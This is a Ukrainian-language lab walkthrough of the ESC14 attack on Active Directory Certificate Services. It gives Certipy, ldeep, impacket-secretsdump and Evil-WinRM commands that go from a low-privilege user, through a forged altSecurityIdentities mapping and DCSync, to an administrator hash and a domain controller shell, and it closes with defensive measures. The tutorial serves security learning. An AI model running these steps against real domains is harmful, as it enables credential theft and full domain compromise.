ESC14 націлений на слабке зіставлення сертифікатів (certificate mapping) в Active Directory, експлуатуючи атрибут altSecurityIdentities, що дозволяє зловмисникам підробляти поля Subject CN або Issuer DN. Це уможливлює несанкціоновану PKI-автентифікацію від імені привілейованого користувача або контролера домену, що призводить до підвищення привілеїв та потенційної компрометації всього домену. Належна валідація сертифікатів є критично важливою для запобігання атакам ESC14.

Зміст

• Огляд атаки ESC14
• Принцип роботи ESC14
• Попередні умови
• Налаштування лабораторії
• Збір інформації та експлуатація
• Зловживання слабким явним зіставленням сертифікатів через altSecurityIdentities
• Постексплуатація
• Отримання повноцінної оболонки SYSTEM через Evil-WinRM
• Заходи захисту

Огляд атаки ESC14

ESC14 — це потужна техніка постексплуатації, націлена на середовища Active Directory Certificate Services (AD CS), де явні зіставлення сертифікатів (altSecurityIdentities) налаштовані слабко або погано контролюються.

Замість того, щоб покладатися на зіставлення за UPN, як в атаках типу або , ESC14 зловживає прямими ручними зіставленнями між сертифікатом та обліковим записом користувача AD. Шляхом впорскування підробленого зіставлення в атрибут altSecurityIdentities цільового користувача (наприклад, raj), зловмисник може змусити Active Directory прийняти будь-який сертифікат, що відповідає цьому зіставленню, для Kerberos-автентифікації.

Ця техніка стає особливо небезпечною, коли:

• Зловмисник може створювати облікові записи комп’ютерів або отримувати сертифікати з керованими полями.
• У середовищі використовується зіставлення за типом Issuer-Subject або Subject-only (слабкі варіанти).

У цьому сценарії ми покажемо, як підвищити привілеї від користувача з низькими правами (sanjeet) до повної компрометації домену, використовуючи зловживання сертифікатами, явне зіставлення та, зрештою, вилучення облікових даних адміністратора.

Принцип роботи ESC14

Техніка ESC14 зазвичай включає наступні кроки:

• Експлуатація явного зіставлення — редагуючи altSecurityIdentities, ми безпосередньо прив’язуємо сертифікат до іншого облікового запису.
• Зловживання машинним сертифікатом — використання сертифіката комп’ютера допомагає обійти контроли на основі UPN.
• Потік автентифікації PKINIT — AD довіряє зіставленню для видачі квитків (TGT), що дозволяє імітацію користувача.
• Підвищення привілеїв до Admin — після проходження автентифікації стають доступними техніки DCSync та вилучення хешів.

Підсумовуючи, ESC14 експлуатує неправильно налаштоване явне зіставлення сертифікатів для імітації високопривілейованих акаунтів. Змінюючи атрибут altSecurityIdentities та використовуючи машинні сертифікати, зловмисники отримують Kerberos-квитки через PKINIT, що дозволяє підвищити привілеї за допомогою таких інструментів, як DCSync, і зрештою отримати доступ Domain Admin. Це підкреслює необхідність захисту зіставлень сертифікатів та впровадження суворих практик PKI.

Попередні умови

• Windows Server 2019 як Active Directory з підтримкою PKINIT.
• Налаштовані служби сертифікації Active Directory та Центр сертифікації.
• Kali Linux із необхідними інструментами.
• Інструменти: Certipy, OpenSSL, Ldeep, Python-скрипти для маніпуляцій з altSecurityIdentities, Impacket та Evil-WinRM.

Налаштування лабораторії

Для цієї статті ми пропускаємо інструкції з повного розгортання AD та CA, припускаючи, що у вас вже є:

• Робочий домен (у нашому випадку ignite.local).
• Контролер домену за адресою 192.168.220.138.
• Налаштований Центр сертифікації (з увімкненим шаблоном Machine).
• Два доменні користувачі:raj (Target), sanjeet (Attacker)

Ми зосередимося виключно на процесі експлуатації, починаючи від перерахування користувачів і закінчуючи повним захопленням прав Domain Admin.

Збір інформації та експлуатація

Зловживання слабким явним зіставленням сертифікатів через altSecurityIdentities

Підтвердження існуючих облікових записів

Перед початком переконайтеся, що обидва користувачі (raj та sanjeet) існують у домені:

net user raj

net user sanjeet

Перед початком переконайтеся, що обидва користувачі (raj та sanjeet) існують у домені, це гарантує, що ідентичності жертви та зловмисника готові для подальших маніпуляцій.

Надання raj повного контролю над sanjeet

В оснастці Active Directory Users and Computers (ADUC):

• Відкрийте raj → Properties → Security → Advanced
• Додайте користувача sanjeet з правами Full Control (може варіюватися у вашому випадку).

Цей крок є ключовою умовою для ESC14. Без прав запису в атрибути raj зловмисник (sanjeet) не зможе змінити поле altSecurityIdentities.

Створення фейкового облікового запису комп’ютера (badpc$)

Щоб отримати довірений сертифікат для PKINIT, ми створюємо обліковий запис комп’ютера (наприклад, badpc$) для реєстрації сертифіката автентифікації машини.

certipy-ad account -u sanjeet -p Password@1 -dc-ip 192.168.220.138 -target dc01.ignite.local -user badpc$ -pass Password@3 create

Ми створюємо обліковий запис комп’ютера, тому що машинні акаунти можуть реєструвати сертифікати за допомогою шаблону Machine, який містить EKU Client Authentication, необхідний для PKINIT.

Запит сертифіката для облікового запису комп’ютера

Запитуємо сертифікат для badpc$, використовуючи шаблон Machine:

certipy-ad req -target dc01.ignite.local -u badpc$ -p Password@3 -dc-ip 192.168.220.138 -template Machine -ca ignite-DC01-CA

Це дає нам легітимний, підписаний CA сертифікат, якому довіряють для автентифікації.

Вилучення та аналіз публічного сертифіката

Експортуємо публічну частину сертифіката та перевіряємо її за допомогою OpenSSL.

certipy-ad cert -pfx badpc.pfx -nokey -out "badpc.crt

Ключові поля, які нас цікавлять:

• Issuer Name (Ім’я видавця)
• Serial Number (Серійний номер)

openssl x509 -in badpc.crt -noout -text

Ці дані необхідні для створення валідного рядка зіставлення X509 для altSecurityIdentities.

Перевірка існуючого зіставлення цілі

Перед впорскуванням нашого зіставлення перевіримо, чи має raj вже якісь налаштовані мапінги:

ldeep ldap -u sanjeet -d ignite.local -p Password@1 -s ldap://192.168.220.138 search '(samaccountname=raj)' altSecurityIdentities

Це дозволяє уникнути перезапису або конфліктів із легітимними налаштуваннями.

Генерація правильного формату зіставлення (Issuer+Serial)

Спеціальний Python-інструмент генерує точний рядок зіставлення X509 у наступному форматі:

python x509_issuer_serial_number_format.py

Примітка: Ми використовуємо цей інструмент для генерації рядка зіставлення для підробленого сертифіката (від badpc$) перед його впорскуванням в атрибут altSecurityIdentities цільового користувача (raj).

Саме цей рядок Active Directory використовує для зіставлення вхідних спроб автентифікації з цільовим акаунтом. Без правильного форматування AD не розпізнає сертифікат.

Інджект в altSecurityIdentities користувача raj

Редагуючи LDAP-об’єкт користувача raj, ми явно пов’язуємо наш підроблений сертифікат (від badpc$) із цільовим користувачем. Після цього AD дозволить автентифікацію від імені raj за цим сертифікатом.

Ми записуємо згенерований мапінг в атрибут altSecurityIdentities через LDAP. Будь-який клієнт, що пред’явить сертифікат із цим Issuer+Serial, буде автентифікований як raj під час PKINIT.

python add-altSecurityIdentities.py

Примітка: Після генерації рядка ми запускаємо цю команду, щоб записати зіставлення в LDAP-об’єкт raj, що вмикає імітацію на основі сертифіката.

Ще раз перевірте, що зіставлення було додано, щоб уникнути помилок автентифікації пізніше.

ldeep ldap -u sanjeet -d ignite.local -p Password@1 -s ldap://192.168.220.138 search '(samaccountname=raj)' altSecurityIdentities

Автентифікація як raj за допомогою машинного сертифіката

Тепер ми автентифікуємося як raj, використовуючи сертифікат, спочатку виданий для badpc$.

certipy-ad auth -pfx badpc.pfx -dc-ip 192.168.220.138 -username raj -domain ignite.local

AD довіряє сертифікату через явне зіставлення, яке ми інджектнули — це ідеальна експлуатація ESC14.

Маючи привілейовану автентифікацію raj, запускаємо DCSync, щоб отримати NTLM-хеш адміністратора.

export KRB5CCNAME=raj.ccache

Примітка: Крок export KRB5CCNAME=raj.ccache є критичним для використання отриманого Kerberos-квитка для дій після експлуатації, таких як DCSync, дамп хешів або віддалений доступ, без необхідності знову вводити паролі чи хеші.

Тепер інструмент використовуватиме Kerberos-квиток із raj.ccache.

impacket-secretsdump -just-dc-user administrator ignite.local/raj@dc01.ignite.local -k -no-pass

Постексплуатація

Повноцінна оболонка SYSTEM через Evil-WinRM

Нарешті, входимо в систему як адміністратор, використовуючи Evil-WinRM та викрадений NTLM-хеш, що дає нам повний доступ SYSTEM на контролері домену.

evil-winrm -i 192.168.220.138 -u administrator -H 64fbae31cc352fc26af97cbdef151e03

Заходи захисту

• Обмежте доступ на запис до altSecurityIdentities: Тільки для адміністраторів домену або еквівалентних ролей.
• Аудіт всіх змін altSecurityIdentities: Увімкніть логування модифікацій LDAP (Event ID 5136).
• Впроваджуйте суворі політики зіставлення сертифікатів: Уникайте мапінгів, що базуються виключно на Subject або неунікальних полях.*
• Моніторте запити PKINIT TGT: Особливо від акаунтів, де нещодавно змінювалися налаштування зіставлення.